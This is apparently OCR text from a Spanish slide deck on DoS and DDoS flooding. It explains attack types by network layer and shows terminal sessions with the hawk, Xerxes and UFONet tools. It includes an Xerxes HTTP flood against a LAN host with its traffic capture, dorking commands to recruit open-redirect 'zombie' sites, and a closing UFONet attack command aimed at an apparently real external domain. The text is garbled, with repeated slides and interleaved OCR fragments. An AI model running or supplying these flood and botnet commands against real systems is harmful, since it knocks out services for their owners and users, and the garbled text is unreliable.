remote: Compressing objects: 100% (117/117), done.

remote: Total 2559 (delta 224), reused 289 (delta 207), pack-reused 2235
Receiving objects: 100% (2559/2559), 4.83 MiB | 4.52 MiB/s, done.

Resolving deltas: 100% (1368/1368), done.

jomoza-s2g-cna :: ~/Documents/TOOLS » cd hawk

jomoza-s2g-cna :: Documents/TOOLS/hawk <master> » 1s

autoscan.py files hawk.py LICENSE README.md run.py setup.sh tasks welcome.py
jomoza-s2g-cna :: Documents/TOOLS/hawk <master> » bash setup.sh

1. Debian-based (Debian, Ubuntu, Kali, Parrot0S, Pop!_0S, Linux Mint, Deepin, Elementary 0S,
2. RHEL-based (Red Hat Enterprise Linux, Fedora, Cent0S, Rocky Linux, AlmalLinux, Oracle Linu
3. Arch-based (Arch, Black Arch, Manjaro, etc)

Enter your distro [1/2/3]: 1

[sudo] password for jomoza:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

nmap is already the newest version (7.91+dfsgl+really7.80+dfsgl-2ubuntu®.1).
® upgraded, @ newly installed, ©® to remove and 24 not upgraded.

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done

python3-pip is already the newest version (22.0.2+dfsg-1ubuntu®.3).
® upgraded, @ newly installed, @ to remove and 24 not upgraded.



https://github.com/medpaf/hawk

https://qithub.com/medpaf/hawk

INTRODUCTION : LIBS AND TOOLS

jomoza-s2g-cna :: ~/Documents/TOOLS » git clone https://github.com/medpaf/hawk .

Cloning into 'hawk’'... https.//scrapv.org[
remote: Enumerating objects: 2559, done.
remote: Counting objects: 100% (324/324), done. https://www.zenrows.com/bl
remote: Compressing objects: 100% (117/117), done.

remote: Total 2559 (delta 224), reused 289 (delta 207), pack-reused 2235 @/scrapv-pvthon
Receiving objects: 100% (2559/2559), 4.83 MiB | 4.52 MiB/s, done.

Resolving deltas: 100% (1368/1368), done. httDS'//VaV?)t medium.com/hack
jomoza-s2g-cna :: ~/Documents/TOOLS » cd hawk 5 : . =
jomoza-s2g-cna :: Documents/TOOLS/hawk <master> » ls ing-con-python-3-capitulo-8-ent
autoscan.py files hawk.py LICENSE README.md run.py setup.sh tasks welcome.py : _ o

jomoza-s2g-cna :: Documents/TOOLS/hawk <master> » bash setup.sh endiendo SCaDy 8bf619514d04

1. Debian-based (Debian, Ubuntu, Kali, Parrot0S, Pop!_0S, Linux Mint, Deepin, Elementary 0S,

2. RHEL-based (Red Hat Enterprise Linux, Fedora, Cent0S, Rocky Linux, AlmaLinux, Oracle Linu: .
3. Arch-based (Arch, Black Arch, Manjaro, etc) https.//www.geeksforqeeks.org_/h

Enter your distro [1/2/3]: 1 ow-to-make-a-arp-spoofing-attac
[sudo] password for jomoza: _ . _ _

Reading package lists... Done K using-scapy thhon/

Building dependency tree... Done

Reading state information... Done .

nmap is already the newest version (7.91+dfsgl+really7.80+dfsgl-2ubuntu®.1). https.//thepvthoncode.com/

® upgraded, @ newly installed, @ to remove and 24 not upgraded. togic/scap)(

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

python3-pip is already the newest version (22.0.2+dfsg-1lubuntu®.3).
® upgraded, @ newly installed, @ to remove and 24 not upgraded.



https://scrapy.org/
https://www.zenrows.com/blog/scrapy-python
https://www.zenrows.com/blog/scrapy-python
https://vay3t.medium.com/hacking-con-python-3-capitulo-8-entendiendo-scapy-8bf619514d04
https://vay3t.medium.com/hacking-con-python-3-capitulo-8-entendiendo-scapy-8bf619514d04
https://vay3t.medium.com/hacking-con-python-3-capitulo-8-entendiendo-scapy-8bf619514d04
https://www.geeksforgeeks.org/how-to-make-a-arp-spoofing-attack-using-scapy-python/
https://www.geeksforgeeks.org/how-to-make-a-arp-spoofing-attack-using-scapy-python/
https://www.geeksforgeeks.org/how-to-make-a-arp-spoofing-attack-using-scapy-python/
https://thepythoncode.com/topic/scapy
https://thepythoncode.com/topic/scapy
https://github.com/medpaf/hawk

https://qithub.com/medpaf/hawk

INTRODUCTION : LIBS AND TOOLS
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Repo: https://github.com/medpaf/hawk
ail: pafmed@outlook.com
€ e: MIT

file: files/conf.py
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Repo: https://github.com/medpaf/hawk
Email: pafmed@outlook.com
1 MIT

file: files/conf.py

= u A

-macspoof -source <SOURCE MAC> -iface <INTERFACE>

-ipspoof -source <SOURCE IP> <SOURCE PORT> -target <TARGET

LIBS AND TOOLS

IP/FQDN> <TARGET PORT>
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INTRODUCTION : LIBS AND TOOLS

ANONENC VNS == NN = NN
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Repo: https://github.com/medpaf/hawk
Email: pafmed@outlook.com
License: MIT

Configuration file: files/conf.py

-macspoof -source <SOURCE MAC> -iface <INTERFACE>
-ipspoof -source <SOURCE IP> <SOURCE PORT> -target <TARGET IP/FQDN> <TARGET PORT>
-synflood -source <SOURCE PORT> -target <TARGET IP/FQDN> <TARGET PORT>

-deauth -target <TARGET MAC> -gateway <GATEWAY MAC> -iface <INTERFACE>


https://github.com/medpaf/hawk
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I LIKE TRAINS

WUPS - Mod. Extra. DDos.



Client

Server

Sends ‘SYN’ SYN
(seq=m)

Sends‘SYN’

sy + ACK (seq =n)
Receives'SYN’ Sends ‘ACK’
(ack = m+1)

(seq =n)

Receives/ACK’
(ack = m+1)

Sends ‘ACK’
(ack= n+1) \ Receives’ACK’
(ack = n+1)

3-Way Handshaking(for establishing connection)




FLOODING DDOS
Ataques de Denegacion de Servicio (DoS) y Flooding:

Los ataques de Denegacion de Servicio (DoS) son intentos maliciosos de hacer que un servicio,
recurso o sistema de red no esté disponible para sus usuarios legitimos al inundarlo con trafico
malicioso. El objetivo de un ataque DoS es abrumar un sistema, agotar sus recursos o explotar
vulnerabilidades para interrumpir su funcionamiento normal.

Uno de los enfoques comunes para llevar a cabo un ataque DoS es el “flooding”, que implica
inundar un sistema objetivo con una gran cantidad de trafico, agotando sus recursos y capacidad
de respuesta.

Existen varios métodos de ataque DoS segun las capas del modelo OSI, que se dirigen a
diferentes partes de una red o sistema. Aqui hay ejemplos de ataques de Denegacion de Servicio
en diferentes capas de red:




FLOODING DDOS

Ataques de Denegacion de Servicio (DoS) y Flooding:

Los ataques de Denegacion de Servicio (DoS) son intentos maliciosos de hacer que un servicio,
recurso o sistema de red no esté disponible para sus usuarios legitimos al inundarlo con trafico
malicioso. El objetivo de un ataque DoS es abrumar un sistema, agotar sus recursos o explotar
vulnerabilidades para interrumpir su funcionamiento normal.

Uno de los enfoques comunes para llevar a cabo un ataque DoS es el “flooding”, que implica
inundar un sistema objetivo con una gran cantidad de trafico, agotando sus recursos y capacidad
de respuesta.

Existen varios métodos de ataque DoS segun las capas del modelo OSI, que se dirigen a
diferentes partes de una red o sistema. Aqui hay ejemplos de ataques de Denegacion de Servicio
en diferentes capas de red:

https://cybermap.kaspersky.com/

https://www.cloudflare.com/es-es/learning/ddos/what-is-a-ddo

a s-attack/

https://www.digitalattackmap.com/#anim=1&color=0&country=

CLOUDFLARE ALLlist=0time=18763&view=map

https://github.com/unreqgistered436/DDoS



https://cybermap.kaspersky.com/
https://www.cloudflare.com/es-es/learning/ddos/what-is-a-ddos-attack/
https://www.cloudflare.com/es-es/learning/ddos/what-is-a-ddos-attack/
https://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=18763&view=map
https://www.digitalattackmap.com/#anim=1&color=0&country=ALL&list=0&time=18763&view=map
https://github.com/unregistered436/DDoS

FLOODING DDOS

Ataques de Denegacion de Servicio (DoS) y Flooding:

Los ataques de Denegacion de Servicio (DoS) son intentos maliciosos de hacer que un servicio,

recurso o sistema de red no esté disponible para sus usuarios legitimos al inundarlo con trafico
malicioso. El objetivo de un ataque DoS es abrumar un sistema, agotar sus recursos o explotar
vulnerabilidades para interrumpir su funcionamiento normal.

Uno de los enfoques comunes para llevar a cabo un ataque DoS es el “flooding”, que implica
inundar un sistema objetivo con una gran cantidad de trafico, agotando sus recursos y capacidad
de respuesta.

Existen varios métodos de ataque DoS segun las capas del modelo OSI, que se dirigen a
diferentes partes de una red o sistema. Aqui hay ejemplos de ataques de Denegacion de Servicio
en diferentes capas de red:

Lock on
CHARGING MY LASER

Lock on

3 NONE!

Timeout HTTP Subsite TCP / UDP message

9001 / This is LOIC




FLOODING DDOS

Ataques de Denegacion de Servicio (DoS) y Flooding:

Los ataques de Denegacion de Servicio (DoS) son intentos maliciosos de hacer que un servicio,

recurso o sistema de red no esté disponible para sus usuarios legitimos al inundarlo con trafico
malicioso. El objetivo de un ataque DoS es abrumar un sistema, agotar sus recursos o explotar
vulnerabilidades para interrumpir su funcionamiento normal.

Uno de los enfoques comunes para llevar a cabo un ataque DoS es el “flooding”, que implica
inundar un sistema objetivo con una gran cantidad de trafico, agotando sus recursos y capacidad
de respuesta.

Existen varios métodos de ataque DoS segun las capas del modelo OSI, que se dirigen a
diferentes partes de una red o sistema. Aqui hay ejemplos de ataques de Denegacion de Servicio
en diferentes capas de red:




FLOODING DDOS
Ataques de Denegacion de Servicio (DoS) y Flooding:

Los ataques de Denegacion de Servicio (DoS) son intentos maliciosos de hacer que un servicio,
recurso o sistema de red no esté disponible para sus usuarios legitimos al inundarlo con trafico
malicioso. El objetivo de un ataque DoS es abrumar un sistema, agotar sus recursos o explotar
vulnerabilidades para interrumpir su funcionamiento normal.

Uno de los enfoques comunes para llevar a cabo un ataque DoS es el “flooding”, que implica
inundar un sistema objetivo con una gran cantidad de trafico, agotando sus recursos y capacidad
de respuesta.

Existen varios métodos de ataque DoS segun las capas del modelo OSI, que se dirigen a
diferentes partes de una red o sistema. Aqui hay ejemplos de ataques de Denegacion de Servicio
en diferentes capas de red:

1. Capa 3 (Red):

o Ataque de Flooding ARP (ARP Flooding): En este ataque, el atacante envia una gran
cantidad de solicitudes ARP falsas para inundar la tabla ARP de un dispositivo o una red,
lo que puede provocar la interrupcion de la conectividad.

o Ataque de Flood ICMP (Ping Flood): El atacante envia un gran numero de solicitudes
de eco ICMP (ping) al sistema objetivo para saturar sus recursos de procesamiento.
o Ataque de Flooding SYN (SYN Flood): Este es un tipo de ataque DoS en la capa de

transporte. El atacante envia una gran cantidad de solicitudes de inicio de conexion SYN
a un servidor, lo que puede agotar sus recursos.




FLOODING DDOS
Ataques de Denegacion de Servicio (DoS) y Flooding:

Los ataques de Denegacion de Servicio (DoS) son intentos maliciosos de hacer que un servicio,
recurso o sistema de red no esté disponible para sus usuarios legitimos al inundarlo con trafico
malicioso. El objetivo de un ataque DoS es abrumar un sistema, agotar sus recursos o explotar
vulnerabilidades para interrumpir su funcionamiento normal.

Uno de los enfoques comunes para llevar a cabo un ataque DoS es el “flooding”, que implica
inundar un sistema objetivo con una gran cantidad de trafico, agotando sus recursos y capacidad
de respuesta.

Existen varios métodos de ataque DoS segun las capas del modelo OSI, que se dirigen a
diferentes partes de una red o sistema. Aqui hay ejemplos de ataques de Denegacion de Servicio
en diferentes capas de red:

2. Capa 4 (Transporte):

o Ataque de Flood UDP (UDP Flood): El atacante envia una gran cantidad de paquetes
UDP a un servidor o servicio, lo que puede sobrecargar los recursos del servidor.

https://github.com/Leeon123/TCP-UDP-Flood



https://github.com/Leeon123/TCP-UDP-Flood

CrackMapExec 4 recon

CrackMapExec (CME) es una herramienta de codigo abierto que se utiliza en el campo de la
seguridad de la informacion y las auditorias de penetracion. CME se basa en el lenguaje de
scripting Python y se utiliza principalmente para realizar pruebas de penetracion y auditorias de
seguridad en entornos de red con sistemas Windows. La herramienta tiene un enfoque en la
explotacion y el analisis de sistemas Windows, lo que la hace particularmente util en
evaluaciones de seguridad en redes corporativas.

3. Capa 7 (Aplicacion):

o Ataque HTTP Flood: Se dirige a aplicaciones web y servicios HTTP. Los atacantes
inundan el servidor con una gran cantidad de solicitudes HTTP legitimas para agotar los
recursos del servidor web.

@ APOPHIS SQUAD

Ataque de inundacion DNS (DNS Flood): Se enfoca en los servidores DNS. Los 500gbps just too big,

atacantes inundan el servidor DNS con consultas, lo que puede afectar la resolucion de
nombres de dominio.

ransom @ProtonMail but you smacked their
ct with them is twitter

(DHCP starvation attack): Un ataque dirigido a servidores DHCP mediante el cual un
atacante falsifica solicitudes DHCP con la intencién de agotar todas las direcciones IP
disponibles que pueden ser asignadas por el servidor DHCP...




jomoza-s2g-cna :: Documents/TOOLS/Xerxes-1.4 » sudo python2.7 installer.py install

Installing...
Installing Dependencies...

https://github.com/sepehrdaddev/Xerxes



https://github.com/sepehrdaddev/Xerxes

jomoza-s2g-cna :: Documents/TOOLS/Xerxes-1.4 » sudo python2.7 installer.py install
Installing...
Installing Dependencies...

https://github.com/sepehrdaddev/Xerxes

Is
build/ Headers/ main.cpp* useragents*
CMakelLists.txt* installer.py* README.md* XerxesTheGreat.jpg*
Dockerfile* LICENSE.md* Sources/

cd build

Is
build/ Dockerfile* useragents* Xerxes*

IXerxes -h
Xerxes version 1.4 20231023 (Xerxes - Revised)
[ERROR]: You need to be root


https://github.com/sepehrdaddev/Xerxes

jomoza-s2g-cna :: Documents/TOOLS/Xerxes-1.4 » sudo python2.7 installer.py install

Installing...
Installing Dependencies...

https://github.com/sepehrdaddev/Xerxes

Is
build/ Headers/ main.cpp* useragents*
CMakelLists.txt* installer.py* README.md* XerxesTheGreat.jpg*
Dockerfile* LICENSE.md* Sources/

(iv n)-l~/Descargas/Xerxes-1.4/build

cd build Xerxes version 1.4 20231023 (Xerxes - Revised)
| Usage: ./Xerxes -target <ip or url> -port <port> <options>
S
build/ Dockerfile* useragents* Xerxes* Options:
-h set attack vector to HTTP
-1 set attack vector to Spoofed
IXerxes -h

Xerxes version 1.4 20231023 (Xerxes - Revised)
[ERROR]: You need to be root


https://github.com/sepehrdaddev/Xerxes

jomoza-s2g-cna :: Documents/TOOLS/Xerxes-1.4 » sudo python2.7 installer.py install

Installing...
Installing Dependencies...

https://github.com/sepehrdaddev/Xerxes



https://github.com/sepehrdaddev/Xerxes

jomoza-s2g-cna
Installing...
Installing Dependencies...

sudo python2.7 installer.py install

https://aithub.com/sepehrdaddev/Xerxes sudo ./Xerxes -target 10.0.3.1 -p 80 -rh -ru -rs -rp -h

£ *wlp0s20f3
File Edit View Bookmarks Plugins Settings Help File Edit Go Capture Analyze Statistics Telephony Wireless Tools Help
jomoza-s2g-cna :: sudo ./Xerxes -target 192.168.1.38 -port 8080 -h -rh -rs -rp
Xerxes version 1.4 20231023 (Xerxes - Revised) /e & (1
Source Destination Protocol Lengtl Info

455113 .5694590.. 192.1 LS 192.168.1.38 HTTP 1294 Continuation
--- press <Ctrl+C> to stop --- 455114 .5694654.. 192 o £ 192.168.1.38 HTTP 4410 GET /AAAA HTTP/1.0 Continuation

455115 .5694696.. 192. “aks 192.168.1. HTTP 1129 Continuation
S : 455116 .5694742.. 192. < 192.168.1. HTTP 5455 /QRRRRRRRR HTTP/1.0 Continuation
CShutting down... ; ; 2
S R 1138 Attack statistics 455117 .5710943.. 192.168. 192.168.1. HTTP 5459 /99 HTTP/1.0 Continuation
1809 Volys sent, 42108 Requests sent, Time 0.712234 s 455118 .5711057.. 192. Al sl HTTP 5395 /LLLLLLLL HTTP/1.@ Continuation
jomoza-s2g-cna :: 2 D 455119 .5711126.. 192. 5 5 5 5 HTTP 4410 /KKKKKKK HTTP/1.0 Continuation

455120 .5711190, . 1. 1. HTTP 1067 Continuation

455121 .5711284. -3 S . 1. HTTP 5428 GET HTTP/1.0 Continuation

455122 .5711348 v o £ ‘ 5 K5 HTTP 5447 GET /QQQQRRRRR HTTP/1.0 Continuation

455123 .5711394.. 192.1 23 by 5 a1 HTTP 5501 HEAD /XXXXYYYYYYY HTTP/1.0@ Continuation
455124 .5711448 5 2 by 2 B HTTP 5488 HEAD /gggghhhhhhhhhhhh HTTP/1.0 Continuation
455125 .5711497. 51 E S HTTP 5618 GET /BBBBB HTTP/1.0 Continuation

455126 .5711548 <8 4 E i L HTTP 5473 GET / HTTP/1.@ Continuation

455149 .5717676. -3 - B ks TCcP 66 60906 — 8080 [ACK] Seq=363 Ack=2228 Win=6208

~ Hypertext Transfer Protocol
> HEAD /gggghhhhhhhhhhhh HTTP/1.0\r\n
User-Agent: Wget/1.16 (linux-gnu/Xerxes)\r\n
Cache-Control: max-age=
pt-Encoding: gzip\r\n
Accept-Charset: IS0-8859 1S0-8859-2\r\n
Referer

Accept:

Connection: Keep-Alive\r\n


https://github.com/sepehrdaddev/Xerxes

jomoza-s2g-cna
Installing...
Installing Dependencies...

sudo python2.7 installer.py install

https://aithub.com/sepehrdaddev/Xerxes sudo ./Xerxes -target 10.0.3.1 -p 80 -rh -ru -rs -rp -h

£ *wlp0s20f3
File Edit View Bookmarks Plugins Settings Help File Edit Go Capture Analyze Statistics Telephony Wireless Tools Help
jomoza-s2g-cna :: sudo ./Xerxes -target 192.168.1.38 -port 8080 -h -rh -rs -rp
Xerxes version 1.4 20231023 (Xerxes - Revised) /e & (1
Source Destination Protocol Lengtl Info

455113 .5694590.. 192.1 LS 192.168.1.38 HTTP 1294 Continuation
--- press <Ctrl+C> to stop --- 455114 .5694654.. 192 o £ 192.168.1.38 HTTP 4410 GET /AAAA HTTP/1.0 Continuation

455115 .5694696.. 192. “aks 192.168.1. HTTP 1129 Continuation
S : 455116 .5694742.. 192. < 192.168.1. HTTP 5455 /QRRRRRRRR HTTP/1.0 Continuation
CShutting down... ; ; 2
S R 1138 Attack statistics 455117 .5710943.. 192.168. 192.168.1. HTTP 5459 /99 HTTP/1.0 Continuation
1809 Volys sent, 42108 Requests sent, Time 0.712234 s 455118 .5711057.. 192. Al sl HTTP 5395 /LLLLLLLL HTTP/1.@ Continuation
jomoza-s2g-cna :: 2 D 455119 .5711126.. 192. 5 5 5 5 HTTP 4410 /KKKKKKK HTTP/1.0 Continuation

455120 .5711190, . 1. 1. HTTP 1067 Continuation

455121 .5711284. -3 S . 1. HTTP 5428 GET HTTP/1.0 Continuation

455122 .5711348 v o £ ‘ 5 K5 HTTP 5447 GET /QQQQRRRRR HTTP/1.0 Continuation

455123 .5711394.. 192.1 23 by 5 a1 HTTP 5501 HEAD /XXXXYYYYYYY HTTP/1.0@ Continuation
455124 .5711448 5 2 by 2 B HTTP 5488 HEAD /gggghhhhhhhhhhhh HTTP/1.0 Continuation
455125 .5711497. 51 E S HTTP 5618 GET /BBBBB HTTP/1.0 Continuation

455126 .5711548 <8 4 E i L HTTP 5473 GET / HTTP/1.@ Continuation

455149 .5717676. -3 - B ks TCcP 66 60906 — 8080 [ACK] Seq=363 Ack=2228 Win=6208

~ Hypertext Transfer Protocol
> HEAD /gggghhhhhhhhhhhh HTTP/1.0\r\n
User-Agent: Wget/1.16 (linux-gnu/Xerxes)\r\n
Cache-Control: max-age=
pt-Encoding: gzip\r\n
Accept-Charset: IS0-8859 1S0-8859-2\r\n
Referer

Accept:

Connection: Keep-Alive\r\n


https://github.com/sepehrdaddev/Xerxes
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https://github.com/epsylon/ufonet

-[jomoza@notyourdevice] [/dev/pts/0] [master # ]

[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --test-all
/usr/lib/python3/dist-packages/scapy/layers/ipsec.py:471: CryptographyDepr«

cipher=algorithms.Blowfish,

/usr/lib/python3/dist-packages/scapy/layers/ipsec.py:485: CryptographyDepr:

cipher=algorithms.CASTS,

|| Ll NN | |
-(00)- + (XX) + -(00)-
[ I 0 ==¥mmnank=z 0 || N
-(00)- (0) XX (0) -(00)-
I - —_\| (00) |7 _ 2
j 00 _(0)

OL LD

+ Class: PSYoPs / ViPR404+/(model:IA4) +

> Botnet [DDoS]

> ZOMBIES
> DROIDS
> ALIENS
> UCAVs

> X-RPCs
> DBSTRESS
> SPRAY

> SMURF

> TACHYON
> MONLIST
> FRAGGLE
> SNIPER

HEHARRERRE RIS =

[ UFONet: https://u

888 888 8888888888 .d88888b. 888b 888

888 888 888 d88P Y888b 8888b 888

888 888 888 888 888 88888b 888

888 888 8888888 888 888 888Y88b 888 .d88b.
888 888 888 888 888 888 Y88b888 d8P Y8b
888 888 888 888 888 888 Y88888 88888888
Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b.

'YsgssspP' 888

'YggsgspP’ 888 Y888 'Y8888

888

888

888
888888
888

888
Y88b.

'Ygsss

{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}

Checking if [Zombies] are still infected (WARNING: this may take serveral

Are 'they' alive? :-) (HEAD Check):

Trying: 448

UFONet - es un software libre,
P2P y criptografico -disruptive
toolkit- que permite realizar
ataques DoS y DDoS; en la Capa
7 (APP/HTTP) mediante la
explotaciéon de vectores Open

Redirect en sitios web de

terceros para actuar como botnet
y en la Capa3 (Red) abusando

del protocolo.

f

./ufonet --test-all

https://qithub.com/epsylon/ufonet



https://github.com/epsylon/ufonet

-[jomoza@notyourdevice] [/dev/pts/0] [master # ]

[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --test-all
/usr/lib/python3/dist-packages/scapy/layers/ipsec.py:471: CryptographyDepr«

cipher=algorithms.Blowfish,

/usr/lib/python3/dist-packages/scapy/layers/ipsec.py:485: CryptographyDepr:

cipher=algorithms.CASTS,

|| Ll NN | |
-(00)- + (XX) + -(00)-
[ I 0 ==¥mmnank=z 0 || N
-(00)- (0) XX (0) -(00)-
I - —_\| (00) |7 _ 2
j 00 _(0)

OL LD

+ Class: PSYoPs / ViPR404+/(model:IA4) +

> Botnet [DDoS]

> ZOMBIES
> DROIDS
> ALIENS
> UCAVs

> X-RPCs
> DBSTRESS
> SPRAY

> SMURF

> TACHYON
> MONLIST
> FRAGGLE
> SNIPER

HEHARRERRE RIS =

[ UFONet: https://u

888 888 8888888888 .d88888b. 888b 888

888 888 888 d88P Y888b 8888b 888

888 888 888 888 888 88888b 888

888 888 8888888 888 888 888Y88b 888 .d88b.
888 888 888 888 888 888 Y88b888 d8P Y8b
888 888 888 888 888 888 Y88888 88888888
Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b.

'YsgssspP' 888

'YggsgspP’ 888 Y888 'Y8888

888

888

888
888888
888

888
Y88b.

'Ygsss

{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}

Checking if [Zombies] are still infected (WARNING: this may take serveral

Are 'they' alive? :-) (HEAD Check):

Trying: 448

UFONet - es un software libre,
P2P y criptografico -disruptive
toolkit- que permite realizar
ataques DoS y DDoS; en la Capa
7 (APP/HTTP) mediante la
explotaciéon de vectores Open

Redirect en sitios web de

terceros para actuar como botnet
y en la Capa3 (Red) abusando

del protocolo.

f

./ufonet --test-all

https://qithub.com/epsylon/ufonet



https://github.com/epsylon/ufonet

-[jomoza@notyourdevice] [/dev/pts/0] [master # ]

[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --test-all
/usr/lib/python3/dist-packages/scapy/layers/ipsec.py:471: CryptographyDepr«

cipher=algorithms.Blowfish,

/usr/lib/python3/dist-packages/scapy/layers/ipsec.py:485: CryptographyDepr:

cipher=algorithms.CASTS,

|| Ll NN | |
-(00)- + (XX) + -(00)-
[ I 0 ==¥mmnank=z 0 || N
-(00)- (0) XX (0) -(00)-
I - —_\| (00) |7 _ 2
j 00 _(0)

OL LD

+ Class: PSYoPs / ViPR404+/(model:IA4) +

> Botnet [DDoS]

> ZOMBIES
> DROIDS
> ALIENS
> UCAVs

> X-RPCs
> DBSTRESS
> SPRAY

> SMURF

> TACHYON
> MONLIST
> FRAGGLE
> SNIPER

HEHARRERRE RIS =

[ UFONet: https://u

888 888 8888888888 .d88888b. 888b 888

888 888 888 d88P Y888b 8888b 888

888 888 888 888 888 88888b 888

888 888 8888888 888 888 888Y88b 888 .d88b.
888 888 888 888 888 888 Y88b888 d8P Y8b
888 888 888 888 888 888 Y88888 88888888
Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b.

'YsgssspP' 888

'YggsgspP’ 888 Y888 'Y8888

888

888

888
888888
888

888
Y88b.

'Ygsss

{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}

Checking if [Zombies] are still infected (WARNING: this may take serveral

Are 'they' alive? :-) (HEAD Check):

Trying: 448

UFONet - es un software libre,
P2P y criptografico -disruptive
toolkit- que permite realizar
ataques DoS y DDoS; en la Capa
7 (APP/HTTP) mediante la
explotaciéon de vectores Open

Redirect en sitios web de

terceros para actuar como botnet
y en la Capa3 (Red) abusando

del protocolo.

f

./ufonet --test-all

https://qithub.com/epsylon/ufonet



https://github.com/epsylon/ufonet

[DDoS] 'SNMP amplification' (ex: --sniper 101)
[DDoS] 'TCP-SYN reflection' (ex: --spray 101)
[DDoS] 'HTTP-DB flood' (ex: --db 'search.php?g=")
--101c LOIC [ DoS] 'HTTP-FAST flood' (ex: --loic 101)
--loris=LORIS [ DoS] 'HTTP-SLOW flood' (ex: --loris 101)
--ufosyn=UFOSYN [ DoS] 'TCP-SYN flood' (ex: --ufosyn 101)
--xmas=XMAS [ DoS] 'TCP-XMAS flood' (ex: --xmas 101)
--nuke=NUKE [ DoS] 'TCP-STARVATION flood' (ex: --nuke 101)
--ufoack=UFOACK [ DoS] 'TCP-ACK flood' (ex: --ufoack 101)
[
[
[
[

--uforst=UFORST DoS] 'TCP-RST flood' (ex: --uforst 101)
--droper=DROPER DoS] 'IP-FRAGMENTATION flood' (ex: --droper 101)
--overlap=0VERLAP DoS] 'IP-OVERLAP flood' (ex: --overlap 101)
--pinger=PINGER DoS] 'ICMP flood' (ex: --pinger 101)
--ufoudp=UFOUDP [ DoS] 'UDP flood' (ex: --ufoudp 101)
[[jomoza@notyourdevice] [/dev/pts/0] [master # ]
[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --helpD

https://qithub.com/epsylon/ufonet

What's the difference between: 'zombies', 'aliens', 'droids’, ‘ucavs'...?

* Zombie: HTTP GET 'Open Redirect’ bot ex:
https://ZOMBIE.com/check?uri=$TARGET

* Droid: HTTP GET 'Open Redirect' bot with params ex:
https://ZOMBIE.COM/css-validator/validator?uri=$ TARGET&profile=css3
* Alien: HTTP POST 'Open Redirect' bot ex:
https://ZOMBIE.com/analyze.html;$POST;url=$TARGET

* Drone: HTTP 'Web Abuse' bot ex: https://www.isup.me/$TARGET

* X-RPC: XML-RPC Vulnerability ex: https://ZOMBIE.COM/xmlirpc.php

[[jomoza@notyourdevice] [/dev/pts/0] [master 1‘]
[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --help

BESlllTSig/

makeameme org


https://github.com/epsylon/ufonet

e ATt e e e o e T,

*Search for 'Zombies'*:

--auto-search Search automatically for 'zombies' (may take time!
-s SEARCH Search from a 'dork®' (ex: -s 'proxy.php?url=")
--sd=DORKS Search from 'dorks' file (ex: --sd 'botnet/dorks.t
--sn=NUM_RESULTS Set max number of results for engine (default: 10)
--se=ENGINE Search engine for 'dorking' (default: DuckDuckGo)
--sa Search massively using all engines (may take time!
--sax=EX_ENGINE Exclude engines when mass searching (ex: 'Bing,Yah

*Test Botnet*:

--test-offline Fast check to discard offline bots
--test-all Update ALL botnet status (may take time!)
-t TEST Update 'zombies' status (ex: -t 'botnet/zombies.tx )
--test-rpc Update 'reflectors' status (ex: --test-rpc) https://g|thub_CQm/epsvlon/ufonet
--attack-me Order 'zombies' to attack you (NAT required!)
*Community*:
--deploy Deploy data to share in '/var/www/ufonet/'
--grider Create a 'grider' to share 'stats/wargames/message
--blackhole Generate a 'blackhole' to share 'zombies'’
--download-nodes Download ‘'zombies®' from Radar
--up-to=UPIP Upload 'zombies' to IP (ex: --up-to '<IP>")
--down-from=DIP Download 'zombies' from IP (ex: --down-from '<IP>'

--upload-zombies Upload ‘zombies' to Community
--download-zombies Download ®'zombies®' from Community
--upload-github Upload 'zombies' to GitHub
--download-github Download 'zombies' from GitHub

[[jomoza@notyourdevice] [/dev/pts/0] [master j‘]
[~/Documents/TOOLS/MORE/ufonet]> ./ufonet --help



https://github.com/epsylon/ufonet

Yo'

GOOGLE DORKING

https://carontestudio.com/blog/google-dorks-como-realizar-busqueda
s-avanzadas-en-google/

https://www.incibe.es/ciudadania/blog/qgoogle-dorks-te-ayuda-encont
rar-informacion-sobre-ti-en-la-red

https://keepcoding.io/blog/que-es-google-dorks/

https://www.exploit-db.com/google-hacking-database https://github.com/epsylon/ufonet
4
./ufonet -s 'proxy.php?url="' -v
4

./ufonet --sd 'botnet/dorks.txt’

--sa --threads 100 |

00GLE DORK AND/GET
RESULTS

L\

e
! ma;geameme.org /|


https://github.com/epsylon/ufonet
https://carontestudio.com/blog/google-dorks-como-realizar-busquedas-avanzadas-en-google/
https://carontestudio.com/blog/google-dorks-como-realizar-busquedas-avanzadas-en-google/
https://www.incibe.es/ciudadania/blog/google-dorks-te-ayuda-encontrar-informacion-sobre-ti-en-la-red
https://www.incibe.es/ciudadania/blog/google-dorks-te-ayuda-encontrar-informacion-sobre-ti-en-la-red
https://keepcoding.io/blog/que-es-google-dorks/
https://www.exploit-db.com/google-hacking-database

WezTerm Update Available
i Bt

[[jomoza@notyourdevice] [/dev/pts/1] [master # ]

[~/Documents/TOOLS/MORE/ufonet]> ./ufonet -a 'https://ayming.es' -r '1000' --no-purge --user-agent='AppleCoreMedia/1.0.0.20L563 (Apple TV; U; CPU 0S 16_5 like Mac 0S X; en_us)' --referer='h

ttp://xss.in/"' --host="github.com'

-(00)- (0) XX (0) -(00)
- = _ \] (00) |7 _ _
(0)- (0) 0'----'0 (0) _(0)
L

O o
7 10]-(.(0)+

+ Class: PSYoPs / ViPR404+/(model:IA4) +

> Botnet [DDoS] # > Close Combat [DoS]

-> ZOMBIES -> LOIC

| # |

|-> DROIDS  # |-> LORIS
|-> ALIENS ~ # |-> UFOSYN
|-> UCAVs # |-> XMAS
|-> X-RPCs  # |-> NUKE
|-> DBSTRESS  # |-> UFOACK
|-> SPRAY # |-> UFORST
|-> SMURF # |-> DROPER
|-> TACHYON  # |-> OVERLAP
